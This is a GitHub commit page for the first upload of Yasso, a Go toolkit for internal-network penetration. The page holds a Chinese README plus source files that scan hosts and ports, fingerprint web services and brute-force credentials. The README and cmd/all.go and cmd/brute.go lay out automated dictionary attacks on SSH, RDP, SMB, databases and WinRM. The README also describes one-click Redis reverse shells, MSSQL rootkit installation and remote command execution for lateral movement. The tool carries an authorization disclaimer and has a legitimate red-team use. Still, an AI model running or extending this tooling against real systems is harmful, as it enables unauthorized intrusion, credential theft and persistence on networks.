1
0
mirror of https://github.com/sairson/Yasso.git synced 2026-02-10 05:45:06 +08:00

Add files via upload

first upload
This commit is contained in:
SaiRson
2022-01-05 22:23:51 +08:00
committed by GitHub
parent 599a51e9a9
commit 2b2d988ae9
34 changed files with 11153 additions and 0 deletions

415
README.md Normal file
View File

@@ -0,0 +1,415 @@
<h1>👾 Yasso - 亚索 👾</h1>
![go](https://img.shields.io/badge/Go-1.16.4-blue)
## 介绍 😈
Yasso 将作为一款内网辅助渗透工具集发布,它集合了许多实用功能,来帮助`Red team`成员在内网极端环境下的工具使用以及`Blue team`成员的内网自检,并且程序加入了代理功能以及`ants`的扫描并发,在实现功能的同时追求准确和速度
使用格式为
```
Yasso [模块] [参数1] [参数2] [参数...]
```
模块里面的 `Flag` 代表当前命令的参数,`Global Flags` 代表全局参数(所有命令都可以用)
## 程序功能模块 👻
目前已有用功能模块 :
<b>all模块: 调用全部模块的完全扫描方式速度更快能力更强ants与并发的完美结合</b>
```
Usage:
Yasso all [flags]
Flags:
-h, --help help for all
-H, --host hosts Set hosts(The format is similar to Nmap)
--noping No use ping to scanner alive host (default true)
-P, --ports ports Set ports(The format is similar to Nmap)
--proxy string Set socks5 proxy
--runtime int Set scanner ants pool thread (default 100)
--time duration Set timeout (default 1s)
```
<b>ping模块: 普通用户权限调用系统pingroot权限可以选择使用icmp数据包</b>
```
Use ping or icmp to scanner alive host
Usage:
Yasso ping [flags]
Flags:
-h, --help help for ping
-H, --host hosts Set hosts(The format is similar to Nmap)
-i, --icmp Icmp packets are sent to check whether the host is alive(need root)
```
<b>crack模块: 强大的爆破模块和利用工具集 - 子工具集</b>
```
Available Commands:
ftp ftp burst module (support proxy)
grdp RDP burst module (support proxy)
log4j Open a socket listener to test log4J vulnerabilities offline
mongo MongoDB burst module (support proxy)
mssql SQL Server burst module and extend tools (not support proxy)
mysql MYSQL burst module and extend tools (support proxy)
postgres PostgreSQL burst module (not support proxy)
redis Redis burst and Redis extend tools (support proxy)
smb Smb burst module (not support proxy)
ssh SSH burst and SSH extend tools (support proxy)
winrm winrm burst and extend tools (support proxy)
Flags:
--crack make sure to use crack
-h, --help help for crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
程序主要分为多个子命令功能,每个功能都详细标注了用法,这里详细介绍子功能
<details>
<summary>ftp ftp服务爆破模块 - 支持socks5代理</summary>
```
Flags:
-h, --help help for ftp
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>grdp rdp服务爆破模块 - 支持socks5代理</summary>
```
Flags:
--domain string set host domain
-h, --help help for grdp
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>log4j log4j2 服务器 - 用于内网不出网手动的log4j漏洞检测</summary>
```
Flags:
-b, --bind string socket listen address (default "0.0.0.0:4568")
-h, --help help for log4j
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>mongo mongodb服务爆破模块 - 支持socks5代理</summary>
```
Flags:
-h, --help help for mongo
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>mssql sql server 服务爆破模块和提权辅助模块 - 不支持socks5代理</summary>
```
Flags:
--cld string Execute WarSQLKit Command (eg.) --cld "whoami"
-c, --cmd string Execute System command
-h, --help help for mssql
--hostname string Remote Connect mssql address(brute param need false)
--inkit int install mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)]
--kithelp int print SQLKit Use help
--method int Execute System command method [1,xpshell] [2,oleshell] (default 1)
--pass string Login ssh password
-s, --sql string Execute sql command
--unkit int uninstall mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)]
--upload stringArray Use ole upload file (.eg) source,dest
--user string Login ssh username (default "sa")
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>mysq mysql服务爆破模块和数据库查询 - 支持socks5代理</summary>
```
Flags:
-C, --cmd string mysql sql command
-h, --help help for mysql
--hostname string Remote Connect a Mysql (brute param need false)
--pass string Login ssh password
--shell create sql shell to exec sql command
--user string Login ssh username
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>postgres PostgreSQL服务爆破模块 - 不支持socks5代理</summary>
```
Flags:
-h, --help help for postgres
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>redis redis服务爆破模块未授权检测一键利用写公钥反弹shell - 支持socks5代理</summary>
```
Flags:
-h, --help help for redis
--hostname string Redis will connect this address
--pass string set login pass
--rebound string Rebound shell address (eg.) 192.168.1.1:4444
--rekey string Write public key to Redis (eg.) id_rsa.pub
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>smb smb服务爆破模块 - 不支持socks5代理</summary>
```
Flags:
-h, --help help for smb
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>ssh ssh服务爆破模块完全交互shell连接 - 支持socks5代理</summary>
```
Flags:
-h, --help help for ssh
--hostname string Open an interactive SSH at that address(brute param need false)
--key string ssh public key path
--pass string Login ssh password
--user string Login ssh username
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<details>
<summary>winrm winrm服务爆破模块命令执行横向 - 支持socks5代理</summary>
```
Flags:
-c, --cmd string Execute system command
-h, --help help for winrm
--hostname string Open an interactive SSH at that address(brute param need false)
--pass string Login ssh password
--shell Get a cmd shell with WinRM
--user string Login ssh username
Global Flags:
--crack make sure to use crack
-H, --hosts string to crack hosts address (crack Must)
--pd string pass dic path (.eg) pass.txt
--port int to crack hosts port (if not set use default)
--proxy string set socks5 proxy address
--runtime int set crack thread number (default 100)
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
--ud string user dic path (.eg) user.txt
```
</details>
<b>ps 模块: 采用ants协程的端口扫描速度更快更准确 - 不支持socks5代理</b>
```
Usage:
Yasso ps [flags]
Flags:
-h, --help help for ps
-H, --hosts hosts Set hosts(The format is similar to Nmap)
-p, --ports ports Set ports(The format is similar to Nmap)(eg.) 1-2000,3389
-r, --runtime int Set scanner ants pool thread (default 100)
-t, --time duration Set timeout (eg.) -t 50ms(ns,ms,s,m,h) (default 500ms)
```
<b>vulscan 模块: 主机漏洞扫描-支持ms17010smbghost漏洞 - 支持socks5代理</b>
```
Usage:
Yasso vulscan [flags]
Flags:
--all scan all vuln contains ms17010,smbghost
--gs scan smbghost
-h, --help help for vulscan
-H, --hosts hosts Set hosts(The format is similar to Nmap)
--ms scan ms17010
--proxy string Set socks5 proxy
```
<b>webscan模块: 完全的dismap移植拥有更将强大的指纹识别 - 支持socks5代理</b>
```
Usage:
Yasso webscan [flags]
Flags:
-h, --help help for webscan
-H, --hosts hosts Set hosts(The format is similar to Nmap)
--ping Use ping to scan alive host
-p, --ports ports Set ports(The format is similar to Nmap)(eg.) 1-2000,3389
--proxy string Set socks5 proxy and use it
-r, --runtime int Set scanner ants pool thread (default 508)
-t, --time duration Set timeout (eg.) -t 50ms(ns,ms,s,m,h) (default 1s)
```
<b>winscan模块: windows主机的netbios识别oxid网卡发现smb主机指纹 - 支持socks5代理</b>
```
netbios、smb、oxid scan
Usage:
Yasso winscan [flags]
Flags:
--all Set all flag and use oxid,netbios,smb scan (default true)
-h, --help help for winscan
-H, --hosts hosts Set hosts(The format is similar to Nmap)
--netbios Set netbios flag and use netbios scan
--oxid Set oxid flag and use oxid scan
--proxy string Set socks5 proxy and use it
--smb Set smb flag and use smb scan
--time duration Set net conn timeout (default 1s)
```
## 使用例子👿
## 工具优势🤡
- 命令简单方便,模块功能调用简洁明了,方便拓展和添加各种新功能
- 集合了大量的常用功能使得Yasso并不像常规的扫描器而是作为工具集
- 强大的SQL渗透辅助功能提供了常见的redismysqlmssql等数据库的一键提权和数据库操作
- 强大的并发爆破,使得大字典能获取更快的速度
- rdp和winrm的强势加入使得内网横向更加迅速和方便快捷
## 免责声明🧐
本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。
在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描,这一点十分重要**
如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。 除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
## 工具编写参考链接👀
```
https://github.com/shadow1ng/fscan
https://github.com/k8gege/LadonGo
https://github.com/zyylhn/zscan
https://github.com/uknowsec/SharpSQLTools
https://github.com/mindspoof/MSSQL-Fileless-Rootkit-WarSQLKit
https://github.com/masterzen/winrm
https://github.com/tomatome/grdp
https://github.com/panjf2000/ants
```

132
cmd/all.go Normal file
View File

@@ -0,0 +1,132 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/spf13/cobra"
"sync"
"time"
)
/*
全体扫描模块
将逐步执行每个任务
*/
func printHeader(){
}
var allCmd = &cobra.Command{
Use: "all",
Short: "Use all scanner module (.attention)\nSome service not support proxy,You might lose it [*]",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" {
_ = cmd.Help()
return
}
allRun(Hosts,Ports,LogBool,Runtime,PingBool)
return
},
}
func init(){
allCmd.Flags().StringVarP(&Hosts,"host","H","","Set `hosts`(The format is similar to Nmap)")
allCmd.Flags().StringVarP(&Ports,"ports","P","","Set `ports`(The format is similar to Nmap)")
allCmd.Flags().BoolVar(&PingBool,"noping",true,"No use ping to scanner alive host")
allCmd.Flags().IntVar(&Runtime,"runtime",100,"Set scanner ants pool thread")
allCmd.Flags().StringVar(&ProxyHost,"proxy","","Set socks5 proxy")
allCmd.Flags().DurationVar(&TimeDuration,"time",1 * time.Second,"Set timeout ")
rootCmd.AddCommand(allCmd)
}
func allRun(hostString string,portString string,log bool,runtime int,noping bool){
// 先对程序进行ping扫描
// 解析hosts
var (
ips []string
ports []int
webports []int
alive []string
wg sync.WaitGroup
)
if hostString != "" {
ips,_ = ResolveIPS(hostString) // 解析ip并获取ip列表
}
if Ports != "" {
ports ,_ = ResolvePORTS(portString)
webports,_ = ResolvePORTS(config.DisMapPorts)
}else{
ports ,_ = ResolvePORTS(DefaultPorts)
webports,_ = ResolvePORTS(config.DisMapPorts)
}
if noping == true {
// 不执行ping操作
alive = ips
}else{
// 执行 ping 操作
fmt.Println("----- [Yasso] Start do ping scan -----")
alive = execute(ips)
}
// 做漏洞扫描
if len(alive) > 0 {
fmt.Println("----- [Yasso] Start do vuln scan -----")
VulScan(alive,false,true,false) // 做全扫描
fmt.Println("----- [Yasso] Start do port scan -----")
PortResults := PortScan(alive,ports)
// 获取我们的端口扫描结果,去遍历
if len(PortResults) != 0 {
fmt.Println("----- [Yasso] Start do crack service -----")
for _,v := range PortResults {
// 这里做漏洞扫描
wg.Add(1)
go func(v PortResult) {
defer wg.Done()
for _,p := range v.Port {
switch p {
case 21:
users,pass := ReadTextToDic("ftp",UserDic,PassDic)
burpTask(v.IP,"ftp",users,pass,p,100,1*time.Second,"",false)
case 22:
users,pass := ReadTextToDic("ssh",UserDic,PassDic)
burpTask(v.IP,"ssh",users,pass,p,100,1*time.Second,"",false)
case 3306:
users,pass := ReadTextToDic("mysql",UserDic,PassDic)
burpTask(v.IP,"mysql",users,pass,p,100,1*time.Second,"",false)
case 6379:
_,_,_ = RedisUnAuthConn(config.HostIn{Host: v.IP,Port: p,TimeOut:1 * time.Second},"test","test")
users,pass := ReadTextToDic("redis",UserDic,PassDic)
burpTask(v.IP,"redis",users,pass,p,100,5*time.Second,"",false)
case 1433:
users,pass := ReadTextToDic("mssql",UserDic,PassDic)
burpTask(v.IP,"mssql",users,pass,p,100,1*time.Second,"",false)
case 5432:
users,pass := ReadTextToDic("postgres",UserDic,PassDic)
burpTask(v.IP,"postgres",users,pass,p,100,1*time.Second,"",false)
case 27017:
_,_ = MongoUnAuth(config.HostIn{Host: v.IP,Port: p,TimeOut: 1*time.Second},"test","test")
users,pass := ReadTextToDic("mongodb",UserDic,PassDic)
burpTask(v.IP,"mongodb",users,pass,p,100,1*time.Second,"",false)
case 445:
users,pass := ReadTextToDic("smb",UserDic,PassDic)
burpTask(v.IP,"smb",users,pass,p,100,1*time.Second,"",false)
case 5985:
users,pass := ReadTextToDic("rdp",UserDic,PassDic) // winrm与本地rdp认证相同
burpTask(v.IP,"winrm",users,pass,p,100,1*time.Second,"",false)
}
}
}(v)
}
wg.Wait()
}
// 做网卡扫描
fmt.Println("----- [Yasso] Start do Windows service scan -----")
winscan(alive,true)
fmt.Println("----- [Yasso] Start do web service scan -----")
DisMapScan(alive,webports)
}
}

237
cmd/brute.go Normal file
View File

@@ -0,0 +1,237 @@
package cmd
import (
"Yasso/config"
"bufio"
"fmt"
"github.com/panjf2000/ants/v2"
"github.com/spf13/cobra"
"io"
"log"
"math"
"os"
"reflect"
"strings"
"sync"
"time"
)
// 爆破模块
const (
Clearln = "\r\x1b[2K"
)
var BruteCmd = &cobra.Command{
Use: "crack",
Short: "crack module and extend tool",
Run: func(cmd *cobra.Command, args []string) {
cmd.DisableFlagsInUseLine = true
_ = cmd.Help()
},
}
func init(){
// 添加全局变量
BruteCmd.PersistentFlags().StringVarP(&Hosts,"hosts","H","","to crack hosts address (crack Must)")
BruteCmd.PersistentFlags().IntVar(&BrutePort,"port",0,"to crack hosts port (if not set use default)")
BruteCmd.PersistentFlags().IntVar(&Runtime,"runtime",100,"set crack thread number")
BruteCmd.PersistentFlags().BoolVarP(&BruteFlag,"crack","",false,"make sure to use crack")
BruteCmd.PersistentFlags().DurationVar(&TimeDuration,"timeout",1 * time.Second,"crack module timeout(.eg) 1s (ns,ms,s,m,h)")
BruteCmd.PersistentFlags().StringVar(&PassDic,"pd","","pass dic path (.eg) pass.txt")
BruteCmd.PersistentFlags().StringVar(&UserDic,"ud","","user dic path (.eg) user.txt")
BruteCmd.PersistentFlags().StringVar(&ProxyHost,"proxy","","set socks5 proxy address")
BruteCmd.AddCommand(SshCmd)
BruteCmd.AddCommand(WinRMCmd)
BruteCmd.AddCommand(SmbCmd)
BruteCmd.AddCommand(Log4jCmd)
BruteCmd.AddCommand(RedisCmd)
BruteCmd.AddCommand(RdpCmd)
BruteCmd.AddCommand(MysqlCmd)
BruteCmd.AddCommand(MssqlCmd)
BruteCmd.AddCommand(FtpCmd)
BruteCmd.AddCommand(PostgreCmd)
BruteCmd.AddCommand(MongoCmd)
rootCmd.AddCommand(BruteCmd)
}
var BurpModule = map[string]interface{}{
"ssh":SshConnByUser,
"mysql":MySQLConn,
"mssql":MssqlConn,
"redis":RedisAuthConn,
"unredis":RedisUnAuthConn, // redis 未授权
"postgres":PostgreConn,
"smb":SmbConn,
"ftp":FtpConn,
"rdp":RdpConn,
"winrm":WinRMAuth,
"mongodb":MongoAuth,
"unmongodb":MongoUnAuth, // mongodb 未授权
}
func BurpCall(EncryptMap map[string]interface{},name string,params ...interface{}) []reflect.Value {
f := reflect.ValueOf(EncryptMap[name]) // 获取map键位name的值
if len(params) != f.Type().NumIn() { // 如果参数的值不等于函数所需要的值
log.Println(fmt.Sprintf("[ERROR] Burp Call Func key name %s is failed",name))
os.Exit(1)
}
args := make([]reflect.Value,len(params))
for k,param := range params {
if param == "" || param == 0 {
continue
}
//Println()(param)
args[k] = reflect.ValueOf(param)
}
//Println()(args)
return f.Call(args) // 调用函数并返回结果
}
func SwitchBurp(service string,users []string,pass []string,hosts []string,port int,thread int,timeout time.Duration,Domain string){
// 传入的参数均为3个
// 调用方式
var tunnel = make(chan string,20)
var wg sync.WaitGroup
go func() {
for _,ip := range hosts{
tunnel <- ip
}
}()
for i:=0;i<len(hosts);i++{
wg.Add(1)
_ = ants.Submit(func() {
ip := <- tunnel
burpTask(ip,service,users,pass,port,thread,timeout,Domain,true)
wg.Done()
})
}
wg.Wait()
Println(fmt.Sprintf(Clearln + "[*] brute %s done",service))
//Println()(service,users,pass,hosts,port,thread,BurpModule)
}
/***
* 从新计算爆破方式之前的爆破是采用分割user进行的但是发现user数量会远少于password所以按照password进行分割
*/
func burpTask(host,service string,users []string,pass []string,port int,thread int,timeout time.Duration,Domain string,run bool){
var t int
var wg sync.WaitGroup
if len(pass) <= thread{
t = len(pass)
}else{
// 计算user数量
t = thread // 协程数量
}
num := int(math.Ceil(float64(len(pass)) / float64(thread))) // 每个协程的user数量
// 分割用户名
all := map[int][]string{}
for i:=1;i <= t;i++{
for j:=0;j < num ; j++{
tmp := (i-1)*num + j
if tmp < len(pass) {
all[i] = append(all[i],pass[tmp])
}
}
}
if run {
go func() {
for {
for _, r := range `-\|/` {
fmt.Printf("\r%c brute: wating ... %c",r,r)
time.Sleep(200 * time.Millisecond)
}
}
}()
}
if service == "redis" && run == true {
BurpCall(BurpModule,"unredis",config.HostIn{Host: host,Port: BrutePort,TimeOut: TimeDuration},"test","test")
}
if service == "mongodb" && run == true {
BurpCall(BurpModule,"unmongodb",config.HostIn{Host: host,Port: BrutePort,TimeOut: TimeDuration},"test","test")
}
//Println()(all,num,t)
for i:= 1 ; i <= t ; i++{
wg.Add(1)
tmp := all[i]
_ = ants.Submit(func() {
for _,p := range tmp {
for _,u := range users {
if strings.Contains(p,"{user}") {
p = strings.ReplaceAll(p,"{user}",p)
}
result := BurpCall(BurpModule,service,config.HostIn{Host: host,Port: port,TimeOut: time.Duration(timeout),Domain: Domain},u,p)
burpStatus(result,service,host,Domain,u,p)
}
}
wg.Done()
})
}
wg.Wait()
}
func burpStatus(result []reflect.Value,service,host,domain,user,pass string) {
// 这里是判断类型并返回结果的函数
if len(result) > 0 {
for _,v := range result {
switch v.Kind() {
case reflect.Bool:
if v.Bool() == true {
if domain != ""{
domain = domain+"\\"
}
Println(fmt.Sprintf(Clearln + `[+] %s brute %s success [%v%s:%s]`,host,service,domain,user,pass))
}
}
}
}
}
func Readiness(file *os.File) []string {
var readiness []string /*定义一个空切片用于存储遍历后的数据*/
buf := bufio.NewReader(file) /*建立一个缓冲区,将文本内容写入缓冲区*/
for {
data, errR := buf.ReadBytes('\n') /*读取到\n截至*/
if errR != nil {
if errR == io.EOF{
break
}
return readiness
}
str := strings.TrimSpace(string(data))
readiness = append(readiness,str) /*将去除换行符的字符串写入切片*/
}
return readiness
}
func ReadTextToDic(service,user,pass string) ([]string,[]string){
var (
userdic = config.Userdict[service]
passdic = config.Passwords
)
if user != "" {
userive, err := os.Open(user)
if err != nil {
Println(fmt.Sprintf(Clearln + "[ERROR] Open %s is failed,please check your user dic path",UserDic))
return []string{},[]string{}
}
userdic = Readiness(userive)
}
if pass != "" {
passive, err := os.Open(pass)
if err != nil {
Println(fmt.Sprintf(Clearln + "[ERROR] Open %s is failed,please check your pass dic path",PassDic))
return []string{},[]string{}
}
passdic = Readiness(passive)
}
return userdic,passdic
}

676
cmd/dismap.go Normal file
View File

@@ -0,0 +1,676 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/spf13/cobra"
"math"
"regexp"
"runtime"
"strconv"
"sync"
"time"
)
func init(){
rootCmd.AddCommand(DisMapCmd)
DisMapCmd.Flags().DurationVarP(&TimeDuration,"time","t",1 * time.Second,"Set timeout (eg.) -t 50ms(ns,ms,s,m,h)")
DisMapCmd.Flags().StringVarP(&Hosts,"hosts","H","","Set `hosts`(The format is similar to Nmap)")
DisMapCmd.Flags().StringVarP(&Ports,"ports","p","","Set `ports`(The format is similar to Nmap)(eg.) 1-2000,3389")
DisMapCmd.Flags().IntVarP(&Runtime,"runtime","r",508,"Set scanner ants pool thread")
DisMapCmd.Flags().BoolVar(&PingBool,"ping",false,"Use ping to scan alive host")
DisMapCmd.Flags().StringVar(&ProxyHost,"proxy","","Set socks5 proxy and use it ")
}
var DisMapCmd = &cobra.Command{
Use: "webscan",
Short: "Use dismap module discover Web fingerprints (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" {
_ = cmd.Help()
return
}
var ports []int
hosts ,_ := ResolveIPS(Hosts)
var runhosts []string
if PingBool == true {
runhosts = execute(hosts)
}else{
runhosts = hosts
}
// 解析获取ip地址
if Ports != "" {
ports, _ = ResolvePORTS(Ports)
}else{
ports ,_ = ResolvePORTS(config.DisMapPorts)
}
Println(fmt.Sprintf("[Yasso] Find Host %v,Need scan %v",len(runhosts),len(runhosts) * len(ports)))
if len(hosts) <= 0 || len(ports) <= 0 {
// resolve failed
return
}
DisMapScan(runhosts,ports)
Println("[Yasso] scan Complete !")
},
}
func DisMapScan(host []string,ports []int){
var wg sync.WaitGroup
for _,ip := range host{
wg.Add(1)
EachDisMap(ip,ports,&wg)
}
wg.Wait()
}
func EachDisMap(host string,ports[]int,w *sync.WaitGroup){
defer w.Done()
var wg sync.WaitGroup
// 计算一个协程需要扫描多少端口
var thread int
// 如果端口数小于协程数量,thread为端口数量
if len(ports) <= Runtime {
thread = len(ports)
}else{
// 计算端口数量
thread = Runtime // 协程数量
}
num := int(math.Ceil(float64(len(ports)) / float64(thread))) // 每个协程的端口数量
// 分割端口
all := map[int][]int{}
for i:=1;i <= thread;i++{
for j:=0;j < num ; j++{
tmp := (i-1)*num + j
if tmp < len(ports) {
all[i] = append(all[i],ports[tmp])
}
}
}
//Println(all)
for i:= 1 ; i <= thread ; i++{
wg.Add(1)
tmp := all[i]
go func() {
defer wg.Done()
// 1,2 2,3
//Println(i,thread)
for _,port := range tmp {
// 遍历每一个端口列表
DisMapConn(host,port)
}
}()
}
wg.Wait()
}
func DisMapConn(host string,port int) bool {
url := ParseUrl(host, strconv.Itoa(port))
for _,r := range Identify (url,TimeDuration){
if r.RespCode != ""{
Println(fmt.Sprintf("[+] %v %v %v %v",r.RespCode,r.Url,r.Result,r.Title))
}
}
return true
}
type IdentifyResult struct {
Type string
RespCode string
Result string
ResultNc string
Url string
Title string
}
func Identify(url string, timeout time.Duration) []IdentifyResult {
var DefaultFavicon string
var CustomFavicon string
var DefaultTarget string
var CustomTarget string
var Favicon string
var RequestRule string
var RespTitle string
var RespBody string
var RespHeader string
var RespCode string
var DefaultRespTitle string
var DefaultRespBody string
var DefaultRespHeader string
var DefaultRespCode string
var CustomRespTitle string
var CustomRespBody string
var CustomRespHeader string
var CustomRespCode string
for _, resp := range DefaultRequests(url, timeout) { // Default Request
DefaultRespBody = resp.RespBody
DefaultRespHeader = resp.RespHeader
DefaultRespCode = resp.RespStatusCode
DefaultRespTitle = resp.RespTitle
DefaultTarget = resp.Url
DefaultFavicon = resp.FaviconMd5
}
// start identify
var identifyData []string
var successType string
for _, rule := range config.RuleData {
if rule.Http.ReqMethod != "" { // Custom Request Result
for _, resp := range CustomRequests(url, timeout, rule.Http.ReqMethod, rule.Http.ReqPath, rule.Http.ReqHeader, rule.Http.ReqBody) {
CustomRespBody = resp.RespBody
CustomRespHeader = resp.RespHeader
CustomRespCode = resp.RespStatusCode
CustomRespTitle = resp.RespTitle
CustomTarget = resp.Url
CustomFavicon = resp.FaviconMd5
}
url = CustomTarget
Favicon = CustomFavicon
RespBody = CustomRespBody
RespHeader = CustomRespHeader
RespCode = CustomRespCode
RespTitle = CustomRespTitle
// If the http request fails, then RespBody and RespHeader are both null
// At this time, it is considered that the url does not exist
if RespBody == RespHeader {
continue
}
if rule.Mode == "" {
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "CustomRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
}
if rule.Mode == "or" {
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
}
if rule.Mode == "and" {
index := 0
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
index = index + 1
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
index = index + 1
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
index = index + 1
}
}
if index == 2 {
identifyData = append(identifyData, rule.Name)
RequestRule = "CustomRequest"
}
}
if rule.Mode == "and|and" {
index := 0
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
index = index + 1
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
index = index + 1
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
index = index + 1
}
}
if index == 3 {
identifyData = append(identifyData, rule.Name)
RequestRule = "CustomRequest"
}
}
if rule.Mode == "or|or" {
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
